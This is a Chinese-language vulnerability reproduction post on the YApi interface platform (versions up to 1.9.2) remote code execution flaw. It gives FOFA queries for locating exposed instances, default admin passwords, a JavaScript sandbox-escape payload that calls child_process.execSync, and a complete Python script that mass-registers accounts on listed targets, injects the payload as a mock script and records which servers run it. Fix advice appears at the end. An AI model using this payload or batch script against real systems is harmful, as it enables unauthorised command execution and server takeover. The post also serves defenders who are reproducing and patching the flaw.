【漏洞复现】Yapi接口管理平台远程代码执行漏洞

简介: Yapi接口管理平台远程代码执行漏洞,攻击者可通过特定Payload对目标实施恶意攻击,获取敏感信息,操控服务器指令。

声明


请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、漏洞描述


YApi是一个可本地部署的、打通前后端及OA的、可视化的接口管理平台。2021年7月7日互联网上披露YApi管理平台任意命令执行漏洞。若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。


二、影响版本


  • YApi <= 1.9.2


三、FOFA语句


  • icon_hash= "-715193973"
  • app="YApi"

四、漏洞复现


docker搭建:https://github.com/fjc0k/docker-YApi


git clone https://github.com/fjc0k/docker-YApi

cd docker-YApi

vim docker-compose.yml  

docker-compose up -d


docker-compose.yml 修改为存在漏洞版本,这里使用的是Yapi 版本:1.9.2

image.png

启动环境

image.png

本地访问网站 http://X.X.X.X:40001

image.png

该版本漏洞点为 “登录/注册” 可使用默认账号密码(前提账号密码没有更改过),我们常用的默认账号密码口令如下:


admin@admin.com:ymfe.org  

admin@docker.yapi:adm1n


登录之后,点击添加项目并创建项目

image.png

添加接口

image.png

创建好接口后进入界面点击 “高级Mock” 添加一下代码命令并进行保存,再次点击预览访问Mock地址可查看执行结果。

const sandbox = this  

const ObjectConstructor = this.constructor  

const FunctionConstructor = ObjectConstructor.constructor  

const myfun = FunctionConstructor('return process')  

const process = myfun()  

mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

image.png

image.png

命令被成功执行!!!


POC:github: https://github.com/j2ekim/YApi_exp

image.png

image.png

批量检测YApi <=1.9.2 脚本

import requests

import urllib3

import json

import argparse

parser = argparse.ArgumentParser(description="请输入目标地址")

parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')

parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')

args = parser.parse_args()

Get_url = args.url

Get_file = args.file

def poc_1(get_url):

   if(get_url[-1]=='/'):

       get_url=get_url[:-1]

       print(get_url)

   Reg_url=get_url+"/api/user/reg"

   headers = {

       'Content-Type': 'application/json',

       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",

   }

   data={

       'email':'gua@qq.com',

       'password':'******',

       'username':'Guatest'

   }

   try:

       urllib3.disable_warnings()

       Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)

       if Reg_res.json()['errcode']==0:

           poc_2(get_url)

       else:

           print(get_url+"  "+Reg_res.text)

   except Exception as e:

       print(get_url+"  poc_1  请求出错")

def poc_2(get_url):

   Login_url=get_url+"/api/user/login"

   headers = {

       'Content-Type': 'application/json',

       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",

   }

   data={

       'email':'gua@qq.com',

       'password':'******'

   }

   try:

       Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)

       Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])

       if Login_res.json()['errcode']==0:

           poc_3(get_url,Login_cookie)

       else:

           print("登陆失败")

   except Exception as e:

       print(get_url+"  poc_2  请求出错")

def poc_3(get_url,Login_cookie):

   headers={

       'Content-Type': 'application/json',

       'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

       'Cookie':Login_cookie

   }

   Get_id_url=get_url+"/api/group/list"

   try:

       Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)

       G_id=str(Get_id_res.json()['data'][0]['_id'])

       if Get_id_res.json()['errcode']==0:

           poc_4(get_url,G_id,Login_cookie)

       else:

           print("获取group_id失败")

   except Exception as e:

       print(get_url+"  poc_3  请求出错")

def poc_4(get_url,G_id,Login_cookie):

   NewProjecet_url=get_url+"/api/project/add"

   data={

       'name':'tes',

       'basepath':'',

       'group_id':G_id,

       'icon':'code-o',

       'color':'blue',

       'project_type':'private'

   }

   headers = {

       'Content-Type': 'application/json',

       'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

       'Cookie': Login_cookie

   }

   try:

       NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)

       get_id=str(NewProjecet_res.json()['data']['_id'])

       if NewProjecet_res.json()['errcode']==0:

           poc_5(get_url,Login_cookie,get_id)

       else:

           print('创建目录失败失败')

   except Exception as e:

       print(get_url+"  poc_4  请求出错")

def poc_5(get_url,Login_cookie,get_id):

   Mock_url=get_url+'/api/project/up'

   headers = {

       'Content-Type': 'application/json',

       'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

       'Cookie': Login_cookie

   }

   data={

       'id':get_id,

       'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",

       'is_mock_open':True

   }

   try:

       Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)

       if Mock_res.json()['errcode']==0:

           poc_6(get_url, Login_cookie, get_id)

       else:

           print("mock创建失败")

   except Exception as e:

       print(get_url+"  poc_5   请求出错")

def poc_6(get_url,Login_cookie,get_id):

   Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)

   headers = {

       'Content-Type': 'application/json',

       'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

       'Cookie': Login_cookie

   }

   try:

       Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)

       Catid=Cat_id_res.json()['data'][0]['_id']

       poc_7(get_url,Login_cookie,get_id,Catid)

   except Exception as e:

       print(get_url+"  poc_6请求出错")

def poc_7(get_url,Login_cookie,get_id,Catid):

   headers = {

       'Content-Type': 'application/json',

       'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

       'Cookie': Login_cookie

   }

   data={

       'method':'GET',

       'catid':Catid,

       'title':'guatest',

       'path':'/guatest',

       'project_id':get_id

   }

   port_add_url=get_url+"/api/interface/add"

   try:

       port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)

       if port_add_res.json()['errcode']==0:

           poc_8(get_url,Login_cookie,get_id)

       else:

           print("接口创建失败")

   except Exception as e:

       print(get_url+"  poc_7   请求出错")

def poc_8(get_url,Login_cookie,get_id):

   headers = {

       'Content-Type': 'application/json',

       'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',

       'Cookie': Login_cookie

   }

   vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'

   try:

       vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)

       print(vuln_url+'  '+vuln_res.text)

       with open('success.txt', 'a+', encoding="utf-8") as s:

           s.write(get_url + '   '+vuln_res.text+'\n')

   except Exception as e:

       print(get_url+"  poc_8   请求出错",e)

def file():

   with open(args.file,'r+',encoding='utf-8') as f:

       for i in f.readlines():

           s = i.strip()

           if 'http://' in s:

               poc_1(s)

           else:

               exp1 = 'http://'+s

               poc_1(exp1)

if __name__ == '__main__':

   try:

       if Get_url != '' and Get_file == '':

           if 'http://' in Get_url:

               poc_1(Get_url)

           else:

               exp2 = 'http://' + Get_url

               poc_1(exp2)

       elif Get_url == '' and Get_file != '':

           file()

   except KeyboardInterrupt:

       print("结束进程。。。。")

       pass


五、修复建议


1、 更新至最新版本:1.12.0

2、 利用安全安全组设置Yapi仅对可信地址开放。

3、 编辑Yapi目录下的 config.json 文件,设置 closeRegister 为 true,关闭Yapi的前台注册功能。


{

 "closeRegister":true

}

目录
相关文章
|
7月前
|
安全 NoSQL API
【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
503 1
|
NoSQL Cloud Native 数据可视化
云原生之使用Docker部署YApi接口管理服务平台
云原生之使用Docker部署YApi接口管理服务平台
363 0
云原生之使用Docker部署YApi接口管理服务平台
|
数据可视化 数据管理 测试技术
02 提效工具之yapi接口生成
02 提效工具之yapi接口生成
|
XML JSON 前端开发
聊聊 API 管理-开源版 Yapi 到 SaaS 版 Apifox
API 管理这个话题近些年听到的频次越来越多,这本质上是个 web 领域的发展有关,也和开发协作方式有关--前后端分离代替了全栈工程师 hold all 的局面,强调的更多的是 API 复用、分工和协作细化。
 聊聊 API 管理-开源版 Yapi 到 SaaS 版 Apifox
|
Web App开发 JSON 前端开发
YApi 官网说明文档-接口操作
为方便和前端, 节省沟通成本, 编写接口文档非常有比较 使用过swagger, 觉得入侵性太大. POST又感觉和项目结合的不太紧密. 所以一直在寻找 新的接口阅读/生成/测试工具. 下面介绍一下YApi.
1491 0
YApi 官网说明文档-接口操作
|
存储 NoSQL JavaScript
Linux下快速搭建YApi接口管理平台
目录 一、序言 二、安装Node 1、安装nvm 2、使用兼容的Node版本 二、安装MongoDB 1、下载MongoDB 2、配置MongoDB 三、安装YApi 四、安装PM2管理Node服务 五、登录YApi后台
Linux下快速搭建YApi接口管理平台
|
前端开发 数据可视化 机器人
基于YAPI的接口工作流
基于YAPI的接口工作流
375 0
基于YAPI的接口工作流
|
XML JSON 前端开发
开源的YAPI外还有哪些免费的接口工具?
API 管理这个话题近些年听到的频次越来越多,这本质上是个 web 领域的发展有关,也和开发协作方式有关--前后端分离代替了全栈工程师 hold all 的局面,强调的更多的是 API 复用、分工和协作细化。 API 管理的重要性不言而喻,每家公司随着业务的发展,多多少少都会涉及到;从开源社区的产品到国内各类商业化产品,可以看到大家对于 API 管理是越来越重视的。
|
JSON 前端开发 API
接口管理工具YApi怎么用?颜值高、易管理、超好用
接口管理工具YApi怎么用?颜值高、易管理、超好用
|
JSON 前端开发 API
接口管理工具YApi怎么用?颜值高、易管理、超好用
众多接口管理工具如雨后春笋搬冒出。让人欣慰的是,有许多优秀作品来自国内,包含YApi和rap。 看着中文的官网,熟悉的汉语,不禁让人暗爽。当然这也就带来另一个弊端,因为使用基数少,所以参考资料少。我们想学习使用方法,只能依赖官方文档,也算是福祸相倚了。 本文将带您走进Yapi的世界,让您体验一回小清新的接口管理工具。 根据统计,市面上互联网项目超过10亿,保守统计涉及的API数量有100亿。